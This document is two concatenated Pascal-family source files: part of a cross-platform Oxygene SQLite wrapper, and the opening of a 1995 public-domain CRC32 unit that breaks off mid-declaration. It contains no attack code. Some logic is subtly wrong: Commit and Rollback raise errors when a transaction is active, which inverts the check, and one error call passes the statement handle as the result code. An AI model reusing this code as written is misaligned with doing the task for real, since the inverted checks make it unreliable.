sqlite3_bind_parameter_name(st: IntPtr; idx: Integer): IntPtr; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_bind_parameter_index(st: IntPtr; zName: String): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_step(st: IntPtr): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_column_blob(st: IntPtr; iCol: Integer): IntPtr; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_column_bytes(st: IntPtr; iCol: Integer): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Unicode)] class method sqlite3_column_bytes16(st: IntPtr; iCol: Integer): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_column_double(st: IntPtr; iCol: Integer): Double; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_column_int(st: IntPtr; iCol: Integer): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_column_int64(st: IntPtr; iCol: Integer): Int64; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Unicode)] class method sqlite3_column_text16(st: IntPtr; iCol: Integer): IntPtr; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_column_type(st: IntPtr; iCol: Integer): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_finalize(pStmt: IntPtr): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Ansi)] class method sqlite3_reset(pStmt: IntPtr): Integer; external; [System.Runtime.InteropServices.DllImport(DLLName, CallingConvention := System.Runtime.InteropServices.CallingConvention.&Cdecl, CharSet := System.Runtime.InteropServices.CharSet.Unicode)] class method sqlite3_errmsg16(handle: IntPtr): IntPtr; external; {$ENDIF} class method Throw(handle: IntPtr; res: Integer); end; SQLiteException = public class(Exception) public constructor(s: String); end; {$ENDIF} {$IFDEF ANDROID} SQLiteException = public android.database.sqlite.SQLiteException; {$ENDIF} {$IFDEF PUREJAVA} SQLiteException = public java.sql.SQLException; {$ENDIF} implementation constructor SQLiteConnection(aFilename: String; aReadOnly: Boolean := false; aCreateIfNeeded: Boolean := true); begin {$IFDEF PUREJAVA} &Class.forName('org.sqlite.JDBC'); var config := new java.util.Properties; if aReadonly then config.setProperty('open_mode', '1'); exit DriverManager.getConnection('jdbc:sqlite:' + aFilename, config); {$ELSEIF ANDROID} exit android.database.sqlite.SQLiteDatabase.openDatabase(aFilename, nil, ((if aReadOnly then android.database.sqlite.SQLiteDatabase.OPEN_READONLY else android.database.sqlite.SQLiteDatabase.OPEN_READWRITE) or (if aCreateIfNeeded then android.database.sqlite.SQLiteDatabase.CREATE_IF_NECESSARY else 0))); {$ELSEIF ECHOES} var lRes:= SQLiteHelpers.sqlite3_open_v2(aFilename, var fHandle, (if aReadOnly then SQLiteHelpers.SQLITE_OPEN_READONLY else SQLiteHelpers.SQLITE_OPEN_READWRITE) or (if aCreateIfNeeded then SQLiteHelpers.SQLITE_OPEN_CREATE else 0), nil); SQLiteHelpers.Throw(fHandle, lRes); {$ELSEIF COCOA} var lRes:= sqlite3_open_v2(NSString(aFilename), ^^sqlite3(@fHandle), (if aReadOnly then SQLITE_OPEN_READONLY else SQLITE_OPEN_READWRITE) or (if aCreateIfNeeded then SQLITE_OPEN_CREATE else 0), nil); SQLiteHelpers.Throw(fHandle, lRes); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteConnection.BegInTransaction; begin {$IFDEF PUREJAVA} mapped.setAutoCommit(false); {$ELSEIF ECHOES or COCOA} if fInTrans then raise new SQLiteException('Already in transaction'); fInTrans := true; Execute('begin transaction'); {$ELSEIF ANDROID} mapped.begInTransaction; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteConnection.Commit; begin {$IFDEF PUREJAVA} mapped.commit; {$ELSEIF ECHOES or COCOA} if fInTrans then raise new SQLiteException('Not in an transaction'); Execute('commit'); fInTrans := false; {$ELSEIF ANDROID} mapped.setTransactionSuccessful; mapped.endTransaction; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteConnection.Rollback; begin {$IFDEF PUREJAVA} mapped.rollback; {$ELSEIF ECHOES or COCOA} if fInTrans then raise new SQLiteException('Not in an transaction'); Execute('rollback'); fInTrans := false; {$ELSEIF ANDROID} mapped.endTransaction; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; {$IFDEF ECHOES or COCOA} method SQLiteConnection.Prepare(aSQL: String; aArgs: array of Object): Int64; begin {$IFDEF COCOA} var res: IntPtr := nil; var data := NSString(aSQL).UTF8String; SQLiteHelpers.Throw(fHandle, sqlite3_prepare_v2(^sqlite3(fHandle), data, strlen(data), ^^sqlite3_stmt(@res), nil)); for i: Integer := 0 to length(aArgs) -1 do begin var o := aArgs[i]; if o = nil then sqlite3_bind_null(^sqlite3_stmt(res), i + 1) else if o is NSNumber then begin var r := NSNumber(o); case r.objCType of 'f': sqlite3_bind_double(^sqlite3_stmt(res), i + 1, r.floatValue); 'd': sqlite3_bind_double(^sqlite3_stmt(res), i + 1, r.doubleValue); else sqlite3_bind_int64(^sqlite3_stmt(res), i + 1, r.longLongValue); end; end else begin var s := coalesce(NSString(o), o.description); sqlite3_bind_text16(^sqlite3_stmt(res), i + 1, s.cStringUsingEncoding(NSStringEncoding.NSUnicodeStringEncoding), -1, nil); end; end; result := res; {$ELSE} var res := IntPtr.Zero; var data := System.Text.Encoding.UTF8.GetBytes(aSQL); SQLiteHelpers.Throw(fHandle, SQLiteHelpers.sqlite3_prepare_v2(fHandle, data, data.Length, var res, IntPtr.Zero)); for i: Integer := 0 to length(aArgs) -1 do begin var o := aArgs[i]; if o = nil then SQLiteHelpers.sqlite3_bind_null(res, i + 1) else if o is array of Byte then SQLiteHelpers.sqlite3_bind_blob(res, i + 1, array of Byte(o), length(array of Byte(o)), IntPtr.Zero) else if o is Double then SQLiteHelpers.sqlite3_bind_double(res, i + 1, Double(o)) else if o is Int64 then SQLiteHelpers.sqlite3_bind_int64(res, i + 1, Int64(o)) else if o is Integer then SQLiteHelpers.sqlite3_bind_int(res, i + 1, Integer(o)) else SQLiteHelpers.sqlite3_bind_text16(res, i + 1, String(o), -1, IntPtr.Zero); end; result := res; {$ENDIF} end; {$ENDIF} method SQLiteConnection.ExecuteQuery(aSQL: String; params aArgValues: array of Object): SQLiteQueryResult; begin {$IFDEF PUREJAVA} var st := mapped.prepareStatement(aSQL); SQLiteHelpers.SetParameters(st, aArgValues); exit st.executeQuery(); {$ELSEIF ECHOES or COCOA} exit new SQLiteQueryResult(fHandle, Prepare(aSQL, aArgValues)); {$ELSEIF ANDROID} exit mapped.rawQuery(aSQL, SQLiteHelpers.ArgsToString(aArgValues)); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteConnection.ExecuteInsert(aSQL: String; params aArgValues: array of Object): Int64; begin {$IFDEF PUREJAVA} var st := mapped.prepareStatement(aSQL); SQLiteHelpers.SetParameters(st, aArgValues); exit SQLiteHelpers.ExecuteAndGetLastInsertID(st); {$ELSEIF ECHOES or COCOA} var res: IntPtr := Prepare(aSQL, aArgValues); var &step := {$IFDEF ECHOES}SQLiteHelpers.sqlite3_step(res){$ELSE}sqlite3_step(^sqlite3_stmt(res));{$ENDIF}; if &step <> {$IFDEF ECHOES}SQLiteHelpers.{$ENDIF}SQLITE_DONE then begin {$IFDEF ECHOES}SQLiteHelpers.sqlite3_finalize(res){$ELSE} sqlite3_finalize(^sqlite3_stmt(res)){$ENDIF}; SQLiteHelpers.Throw(fHandle, &step); exit 0; end; var revs := {$IFDEF ECHOES}SQLiteHelpers.sqlite3_last_insert_rowid(fHandle){$ELSE}sqlite3_last_insert_rowid(^sqlite3(fHandle)){$ENDIF}; {$IFDEF ECHOES}SQLiteHelpers.sqlite3_finalize(res){$ELSE} sqlite3_finalize(^sqlite3_stmt(res)){$ENDIF}; exit revs; {$ELSEIF ANDROID} using st := mapped.compileStatement(aSQL) do begin SQLiteHelpers.BindArgs(st, aArgValues); exit st.executeInsert(); end; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteConnection.Execute(aSQL: String; params aArgValues: array of Object): Int64; begin {$IFDEF PUREJAVA} var st := mapped.prepareStatement(aSQL); SQLiteHelpers.SetParameters(st, aArgValues); exit st.executeUpdate; {$ELSEIF ECHOES or COCOA} var res: IntPtr := Prepare(aSQL, aArgValues); var &step := {$IFDEF ECHOES}SQLiteHelpers.sqlite3_step(res){$ELSE}sqlite3_step(^sqlite3_stmt(res));{$ENDIF}; if &step <> {$IFDEF ECHOES}SQLiteHelpers.{$ENDIF}SQLITE_DONE then begin {$IFDEF ECHOES}SQLiteHelpers.sqlite3_finalize(res){$ELSE} sqlite3_finalize(^sqlite3_stmt(res)){$ENDIF}; SQLiteHelpers.Throw(fHandle, &step); exit 0; end; var revs := {$IFDEF ECHOES}SQLiteHelpers.sqlite3_changes(fHandle){$ELSE}sqlite3_changes(^sqlite3(fHandle)){$ENDIF}; {$IFDEF ECHOES}SQLiteHelpers.sqlite3_finalize(res){$ELSE} sqlite3_finalize(^sqlite3_stmt(res)){$ENDIF}; exit revs; {$ELSEIF ANDROID} using st := mapped.compileStatement(aSQL) do begin SQLiteHelpers.BindArgs(st, aArgValues); exit st.executeUpdateDelete(); end; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteConnection.get_InTransaction: Boolean; begin {$IFDEF PUREJAVA} exit not mapped.AutoCommit; {$ELSEIF ECHOES or COCOA} exit fInTrans; {$ELSEIF ANDROID} exit mapped.InTransaction; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteConnection.Close; begin {$IFDEF COOPER} mapped.Close(); {$ELSEIF ECHOES} if fHandle <> nil then SQLiteHelpers.sqlite3_close_v2(fHandle); fHandle := nil; {$ELSEIF NOUGAT} if fHandle <> IntPtr(0) then sqlite3_close_v2(^sqlite3(fHandle)); fHandle := IntPtr(0); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; {$IFDEF COCOA}finalizer SQLiteConnection; begin Close; end; {$ENDIF} {$IFDEF ANDROID} method SQLiteHelpers.ArgsToString(arr: array of Object): array of String; begin if length(arr) = 0 then exit []; result := new String[arr.length]; for i: Integer := 0 to arr.length -1 do begin result[i] := arr[i]:toString(); end; end; method SQLiteHelpers.BindArgs(st: android.database.sqlite.SQLiteStatement; aArgs: array of Object); begin for i: Integer := 0 to length(aArgs) -1 do begin var val := aArgs[i]; if val = nil then st.bindNull(i + 1) else if val is Double then st.bindDouble(i + 1, Double(val)) else if val is Single then st.bindDouble(i + 1, Single(val)) else if val is Int64 then st.bindLong(i + 1, Int64(val)) else if val is Int64 then st.bindLong(i + 1, Int64(val)) else if val is array of SByte then st.bindBlob(i + 1, array of SByte(val)) else st.bindString(i + 1, val.toString); end; end; {$ENDIF} {$IFDEF ECHOES or COCOA} constructor SQLiteQueryResult(aDB, aRes: Int64); begin fDB := aDB; fRes := aRes; end; {$ENDIF} method SQLiteQueryResult.Close; begin {$IFDEF COOPER} mapped.Close(); {$ELSEIF ECHOES} if fRes <> nil then SQLiteHelpers.sqlite3_finalize(fRes); fRes := nil; {$ELSEIF NOUGAT} if fRes <> IntPtr(0) then sqlite3_finalize(^sqlite3_stmt(fRes)); fRes := IntPtr(0); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; {$IFDEF COCOA}finalizer SQLiteQueryResult; begin Close; end; {$ENDIF} method SQLiteQueryResult.MoveNext: Boolean; begin {$IFDEF PUREJAVA} exit mapped.next; {$ELSEIF ECHOES} var res := SQLiteHelpers.sqlite3_step(fRes); if res = SQLiteHelpers.SQLITE_ROW then exit true; if res = SQLiteHelpers.SQLITE_DONE then exit false; SQLiteHelpers.Throw(fDB, fRes); exit false; // unreachable {$ELSEIF COCOA} var res := sqlite3_step(^sqlite3_stmt(fRes)); if res = SQLITE_ROW then exit true; if res = SQLITE_DONE then exit false; SQLiteHelpers.Throw(fDB, fRes); exit false; // unreachable {$ELSEIF ANDROID} exit mapped.moveToNext; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteQueryResult.GetInt(aIndex: Integer): nullable Integer; begin {$IFDEF PUREJAVA} exit if mapped.getObject(1 + aIndex) = nil then nil else nullable Integer(mapped.getInt(1 + aIndex)); {$ELSEIF ECHOES} if SQLiteHelpers.sqlite3_column_type(fRes, aIndex) = SQLiteHelpers.SQLITE_NULL then exit nil; exit SQLiteHelpers.sqlite3_column_int(fRes, aIndex); {$ELSEIF COCOA} if sqlite3_column_type(^sqlite3_stmt(fRes), aIndex) = SQLITE_NULL then exit nil; exit sqlite3_column_int(^sqlite3_stmt(fRes), aIndex); {$ELSEIF ANDROID} exit if mapped.isNull(aIndex) then nil else nullable Integer(mapped.getInt(aIndex)); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteQueryResult.GetInt64(aIndex: Integer): nullable Int64; begin {$IFDEF PUREJAVA} exit if mapped.getObject(1 + aIndex) = nil then nil else nullable Int64(mapped.getLong(1 + aIndex)); {$ELSEIF ECHOES} if SQLiteHelpers.sqlite3_column_type(fRes, aIndex) = SQLiteHelpers.SQLITE_NULL then exit nil; exit SQLiteHelpers.sqlite3_column_int64(fRes, aIndex); {$ELSEIF COCOA} if sqlite3_column_type(^sqlite3_stmt(fRes), aIndex) = SQLITE_NULL then exit nil; exit sqlite3_column_int64(^sqlite3_stmt(fRes), aIndex); {$ELSEIF ANDROID} exit if mapped.isNull(aIndex) then nil else nullable Int64(mapped.getLong(aIndex)); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteQueryResult.GetDouble(aIndex: Integer): nullable Double; begin {$IFDEF PUREJAVA} exit if mapped.getObject(1 + aIndex) = nil then nil else nullable Double(mapped.getDouble(1 + aIndex)); {$ELSEIF ECHOES} if SQLiteHelpers.sqlite3_column_type(fRes, aIndex) = SQLiteHelpers.SQLITE_NULL then exit nil; exit SQLiteHelpers.sqlite3_column_double(fRes, aIndex); {$ELSEIF COCOA} if sqlite3_column_type(^sqlite3_stmt(fRes), aIndex) = SQLITE_NULL then exit nil; exit sqlite3_column_double(^sqlite3_stmt(fRes), aIndex); {$ELSEIF ANDROID} exit if mapped.isNull(aIndex) then nil else nullable Double(mapped.getDouble(aIndex)); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteQueryResult.GetBytes(aIndex: Integer): array of {$IFDEF JAVA}SByte{$ELSE}Byte{$ENDIF}; begin {$IFDEF PUREJAVA} exit mapped.getBytes(1 + aIndex); {$ELSEIF ECHOES} var data: IntPtr := SQLiteHelpers.sqlite3_column_blob(fRes, aIndex); if data = IntPtr.Zero then exit nil; var n: array of Byte := new Byte[SQLiteHelpers.sqlite3_column_bytes(fRes, aIndex)]; System.Runtime.InteropServices.Marshal.&Copy(data, n, 0, n.Length); exit n; {$ELSEIF COCOA} var data := sqlite3_column_blob(^sqlite3_stmt(fRes), aIndex); if data = nil then exit nil; var n: array of Byte := new Byte[sqlite3_column_bytes(^sqlite3_stmt(fRes), aIndex)]; memcpy(@n[0], data, length(n)); exit n; {$ELSEIF ANDROID} exit mapped.getBlob(aIndex); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteQueryResult.GetString(aIndex: Integer): String; begin {$IFDEF PUREJAVA} exit mapped.getString(1 + aIndex); {$ELSEIF ECHOES} if SQLiteHelpers.sqlite3_column_type(fRes, aIndex) = SQLiteHelpers.SQLITE_NULL then exit nil; exit System.Runtime.InteropServices.Marshal.PtrToStringUni(SQLiteHelpers.sqlite3_column_text16(fRes, aIndex)); {$ELSEIF COCOA} if sqlite3_column_type(^sqlite3_stmt(fRes), aIndex) = SQLITE_NULL then exit nil; var p: ^unichar := ^unichar(sqlite3_column_text16(^sqlite3_stmt(fRes), aIndex)); var plen := 0; while p[plen] <> #0 do inc(plen); exit new NSString withCharacters(p) length(plen); {$ELSEIF ANDROID} exit mapped.getString(aIndex); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteQueryResult.get_IsNull(aIndex: Integer): Boolean; begin {$IFDEF PUREJAVA} exit mapped.getObject(aIndex) = nil; {$ELSEIF ECHOES} exit SQLiteHelpers.sqlite3_column_type(fRes, aIndex) = SQLiteHelpers.SQLITE_NULL; {$ELSEIF COCOA} exit sqlite3_column_type(^sqlite3_stmt(fRes), aIndex) = SQLITE_NULL; {$ELSEIF ANDROID} exit mapped.isNull(aIndex); {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteQueryResult.get_ColumnCount: Integer; begin {$IFDEF PUREJAVA} exit mapped.getMetaData().ColumnCount; {$ELSEIF ECHOES} exit SQLiteHelpers.sqlite3_column_count(fRes) {$ELSEIF COCOA} exit sqlite3_column_count(^sqlite3_stmt(fRes)) {$ELSEIF ANDROID} exit mapped.ColumnCount; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteQueryResult.get_ColumnName(aIndex: Integer): String; begin {$IFDEF PUREJAVA} exit mapped.getMetaData().getColumnName(1 + aIndex); {$ELSEIF ECHOES} exit System.Runtime.InteropServices.Marshal.PtrToStringUni(SQLiteHelpers.sqlite3_column_name16(fRes, aIndex)); {$ELSEIF COCOA} exit new NSString withCstring(^AnsiChar(sqlite3_column_name(^sqlite3_stmt(fRes), aIndex)) ) encoding( {$IFDEF OSX}NSStringEncoding.NSUTF8StringEncoding{$ELSE}NSStringEncoding.NSUTF16StringEncoding{$ENDIF}); {$ELSEIF ANDROID} exit mapped.ColumnName[aIndex]; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; method SQLiteQueryResult.get_ColumnIndex(aName: String): Integer; begin {$IFDEF PUREJAVA} raise new SQLException('Column index not supported'); {$ELSEIF ECHOES} if fNames = nil then begin fNames := new System.Collections.Generic.Dictionary<String, Integer>; for i: Integer := 0 to ColumnCount -1 do fNames[ColumnName[i]] := i; end; fNames.TryGetValue(aName, out result); {$ELSEIF COCOA} if fNames = nil then begin fNames := new NSMutableDictionary; for i: Integer := 0 to ColumnCount -1 do fNames[ColumnName[i]] := i; end; var lVal := fNames[aName]; if lVal = nil then exit -1; exit Integer(lVal); {$ELSEIF ANDROID} exit mapped.ColumnIndex[aName]; {$ELSE} {$ERROR Unsupported platform} {$ENDIF} end; {$IFDEF ECHOES or COCOA} class method SQLiteHelpers.Throw(handle: IntPtr; res: Integer); begin case res of 0: begin end; SQLITE_ERROR: begin {$IFDEF ECHOES} if handle = IntPtr.Zero then raise new SQLiteException('SQL error or missing database '); raise new SQLiteException(System.Runtime.InteropServices.Marshal.PtrToStringUni(SQLiteHelpers.sqlite3_errmsg16(handle))); {$ELSE} if handle = IntPtr(nil) then raise new SQLiteException('SQL error or missing database '); var err := ^Char(sqlite3_errmsg16(^sqlite3(handle))); var plen := 0; while err[plen] <> #0 do inc(plen); var str := NSString.stringWithCharacters(err) length(plen); raise new SQLiteException(str); {$ENDIF} end; SQLITE_INTERNAL: begin raise new SQLiteException('Internal logic error in SQLite '); end; SQLITE_PERM: begin raise new SQLiteException('Access permission denied '); end; SQLITE_ABORT: begin raise new SQLiteException('Callback routine requested an abort '); end; SQLITE_BUSY: begin raise new SQLiteException('The database file is locked '); end; SQLITE_LOCKED: begin raise new SQLiteException('A table in the database is locked '); end; SQLITE_NOMEM: begin raise new SQLiteException('A malloc() failed '); end; SQLITE_READONLY: begin raise new SQLiteException('Attempt to write a readonly database '); end; SQLITE_INTERRUPT: begin raise new SQLiteException('Operation terminated by sqlite3_interrupt()'); end; SQLITE_IOERR: begin raise new SQLiteException('Some kind of disk I/O error occurred '); end; SQLITE_CORRUPT: begin raise new SQLiteException('The database disk image is malformed '); end; SQLITE_NOTFOUND: begin raise new SQLiteException('Unknown opcode in sqlite3_file_control() '); end; SQLITE_FULL: begin raise new SQLiteException('Insertion failed because database is full '); end; SQLITE_CANTOPEN: begin raise new SQLiteException('Unable to open the database file '); end; SQLITE_PROTOCOL: begin raise new SQLiteException('Database lock protocol error '); end; SQLITE_EMPTY: begin raise new SQLiteException('Database is empty '); end; SQLITE_SCHEMA: begin raise new SQLiteException('The database schema changed '); end; SQLITE_TOOBIG: begin raise new SQLiteException('String or BLOB exceeds size limit '); end; SQLITE_CONSTRAINT: begin raise new SQLiteException('Abort due to constraint violation '); end; SQLITE_MISMATCH: begin raise new SQLiteException('Data type mismatch '); end; SQLITE_MISUSE: begin raise new SQLiteException('Library used incorrectly '); end; SQLITE_NOLFS: begin raise new SQLiteException('Uses OS features not supported on host '); end; SQLITE_AUTH: begin raise new SQLiteException('Authorization denied '); end; SQLITE_FORMAT: begin raise new SQLiteException('Auxiliary database format error '); end; SQLITE_RANGE: begin raise new SQLiteException('2nd parameter to sqlite3_bind out of range '); end; SQLITE_NOTADB: begin raise new SQLiteException('File opened that is not a database file '); end; 27: begin raise new SQLiteException('Notifications from sqlite3_log() '); end; 28: begin raise new SQLiteException('Warnings from sqlite3_log() '); end; SQLITE_ROW: begin raise new SQLiteException('sqlite3_step() has another row ready '); end; SQLITE_DONE: begin raise new SQLiteException('sqlite3_step() has finished executing '); end; else begin raise new SQLiteException('unknown error'); end; end; end; constructor SQLiteException(s: String); begin {$IFDEF COCOA} exit inherited initWithName('SQLite') reason(s) userInfo(nil); {$ELSE} inherited constructor(s); {$ENDIF} end; {$ENDIF} {$IFDEF PUREJAVA} class method SQLiteHelpers.SetParameters(st: PreparedStatement; aValues: array of Object); begin for i: Integer := 0 to length(aValues) -1 do st.setObject(i+1, aValues[i]) end; class method SQLiteHelpers.ExecuteAndGetLastInsertId(st: PreparedStatement): Int64; begin st.executeUpdate; var key := st.getGeneratedKeys; if (key = nil) or (key.getMetaData.ColumnCount <> 1) then exit ; exit key.getLong(1) end; {$ENDIF} end.
Unit CRC32 ; {&Use32+} { Written 1995 by Oliver Fromme <fromme@rz.tu-clausthal.de>. Donated to the public domain. Freely usable, freely distributable. This unit provides a 32 bit CRC (cyclic redundancy check), compatible with ZIP and Zmodem. } {$A+,B-,I-,T-,V+,X+,G+} {$D+,L+,Y+,R+,S+,Q+} {for debugging only} {-$DEFINE NOASM} {Enable this DEFINE if you want to use Pascal routines instead of Assembly routines.} Interface Type tCRC = LongInt ; {treated as unsigned 32 bit} Procedure InitCRC32 (Var CRC : tCRC) ; {Initializes the given variable for CRC calculation.} Procedure UpdateCRC32 (Var CRC : tCRC ; Const InBuf ; InLen : Word) ; {Updates the given CRC variable. Checks 'InLen' bytes at 'InBuf'.} Function FinalCRC32 (CRC : tCRC) : tCRC ; {Calculates the final CRC value of the given variable and returns it. Note that the actual variable is not changed, so you can continue updating it.} { Procedure Example ; Var my_CRC : tCRC ; Begin InitCRC (my_CRC) ; UpdateCRC32 (my_CRC,data1,SizeOf(data1) ; UpdateCRC32 (my_CRC,data2,SizeOf(data2) ; UpdateCRC32 (my_CRC,data3,SizeOf(data3) ; tCRC := FinalCRC(my_CRC) ; WriteLn ('CRC32 of data1-data3 is ',my_CRC) End ; } Implementation { The Polynomial being used ($edb88320): x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x^1+x^0 The initial CRC value is -1, and the final CRC value is inverted. This is compatible with CRCs used in ZIP and zmodem protocol. } Const CRC32Table : Array [0..255] Of LongInt = ( $00000000,$77073096,$ee0e612c,$990951ba,$076dc419,$706af48f,$e963a535,$9e6495a3, $0edb8832,$79dcb8a4,$e0d5e91e,$97d2d988,$09b64c2b,$7eb17cbd,$e7b82d07,$90bf1d91, $1db71064,$6ab020f2,$f3b97148,$84be41de,$1adad47d,$6ddde4eb,$f4d4b551,$83d385c7, $136c9856,$646ba8c0,$fd62f97a,$8a65c9ec,$14015c4f,$63066cd9,$fa0f3d63,$8d080df5, $3b6e20c8,$4c69105e,$d56041e4,$a2677172,$3c03e4d1,$4b04d447,$d20d85fd,$a50ab56b, $35b5a8fa,$42b2986c,$dbbbc9d6,$acbcf940,$32d86ce3,$45df5c75,$dcd60dcf,$abd13d59, $26d930ac,$51de003a,$c8d75180,$bfd06116,$21b4f4b5,$56b3c423,$cfba9599,$b8bda50f, $2802b89e,$5f058808,$c60cd9b2,$b10be924,$2f6f7c87,$58684c11,$c1611dab,$b6662d3d, $76dc4190,$01db7106,$98d220bc,$efd5102a,$71b18589,$06b6b51f,$9fbfe4a5,$e8b8d433, $7807c9a2,$0f00f934,$9609a88e,$e10e9818,$7f6a0dbb,$086d3d2d,$91646c97,$e6635c01, $6b6b51f4,$1c6c6162,$856530d8,$f262004e,$6c0695ed,$1b01a57b,$8208f4c1,$f50fc457, $65b0d9c6,$12b7e950,$8bbeb8ea,$fcb9887c,$62dd1ddf,$15da2d49,$8cd37cf3,$fbd44c65, $4db26158,$3ab551ce,$a3bc0074,$d4bb30e2,$4adfa541,$3dd895d7,$a4d1c46d,$d3d6f4fb, $4369e96a,$346ed9fc,$ad678846,$da60b8d0,$44042d73,$33031de5,$aa0a4c5f,$dd0d7cc9, $5005713c,$270241aa,$be0b1010,$c90c2086,$5768b525,$206f85b3,$b966d409,$ce61e49f, $5edef90e,$29d9c998,$b0d09822,$c7d7a8b4,$59b33d17,$2eb40d81,$b7bd5c3b,$c0ba6cad, $edb88320,$9abfb3b6,$03b6e20c,$74b1d29a,$ead54739,$9dd277af,$04db2615,$73dc1683, $e3630b12,$94643b84,$0d6d6a3e,$7a6a5aa8,$e40ecf0b,$9309ff9d,$0a00ae27,$7d079eb1, $f00f9344,$8708a3d2,$1e01f268,$6906c2fe,$f762575d,$806567cb,$196c3671,$6e6b06e7, $fed41b76,$89d32be0,$10da7a5a,$67dd4acc,$f9b9df6f,$8ebeeff9,$17b7be43,$60b08ed5, $d6d6a3e8,$a1d1937e,$38d8c2c4,$4fdff252,$d1bb67f1,$a6bc5767,$3fb506dd,$48b2364b, $d80d2bda,$af0a1b4c,$36034af6,$41047a60,$df60efc3,$a867df55,$316e8eef,$4669be79, $cb61b38c,$bc66831a,$256fd2a0,$5268e236,$cc0c7795,$bb0b4703,$220216b9,$5505262f, $c5ba3bbe,$b2bd0b28,$2bb45a92,$5cb36a04,$c2d7ffa7,$b5d0cf31,$2cd99e8b,$5bdeae1d, $9b64c2b0,$ec63f226,$756aa39c,$026d930a,$9c0906a9,$eb0e363f,$72076785,$05005713, $95bf4a82,$e2b87a14,$7bb12bae,$0cb61b38,$92d28e9b,$e5d5be0d,$7cdcefb7,$0bdbdf21, $86d3d2d4,$f1d4e242,$68ddb3f8,$1fda836e,$81be16cd,$f6b9265b,$6fb077e1,$18b74777, $88085ae6,$ff0f6a70,$66063bca,$11010b5c,$8f659eff,$f862ae69,$616bffd3,$166ccf45, $a00ae278,$d70dd2ee,$4e048354,$3903b3c2,$a7672661,$d06016f7,$4969474d,$3e6e77db, $aed16a4a,$d9d65adc,$40df0b66,$37d83bf0,$a9bcae53,$debb9ec5,$47b2cf7f,$30b5ffe9, $bdbdf21c,$cabac28a,$53b39330,$24b4a3a6,$bad03605,$cdd70693,$54de5729,$23d967bf, $b3667a2e,$c4614ab8,$5d681b02,$2a6f2b94,$b40bbe37,$c30c8ea1,$5a05df1b,$2d02ef8d ); Procedure InitCRC32 (Var CRC : tCRC) ; Begin CRC := -1 {=$ffffffff} End {InitCRC32} ; {$IFDEF NOASM} Procedure UpdateCRC32 (Var CRC : tCRC ; Const InBuf ; InLen : Word) ; Var BytePtr : ^Byte ; wcount : Word ; LocalCRC : tCRC ; {for faster access} Begin LocalCRC := CRC ; BytePtr := Addr(InBuf) ; For wcount:=1 To InLen Do Begin LocalCRC := CRC32Table[Byte(LocalCRC XOr tCRC(BytePtr^))] XOr ((LocalCRC Shr 8) And $00ffffff) ; Inc (BytePtr) End ; CRC := LocalCRC End {UpdateCRC32} ; {$ELSE} {$IFDEF VirtualPascal} Procedure UpdateCRC32 (Var CRC : tCRC ; Const InBuf ; InLen : Word) ; Assembler ; {$USES ALL} Asm mov esi,CRC mov eax,[esi] mov esi,InBuf mov ecx,inlen test ecx,ecx jz @skip sub ebx,ebx @loop: mov bl,al lodsb xor bl,al shr eax,8 xor eax,dword ptr [CRC32Table+ebx*4] dec ecx jnz @loop mov esi,CRC mov [esi],eax @skip: End {UpdateCRC32} ; {$ELSE} Procedure 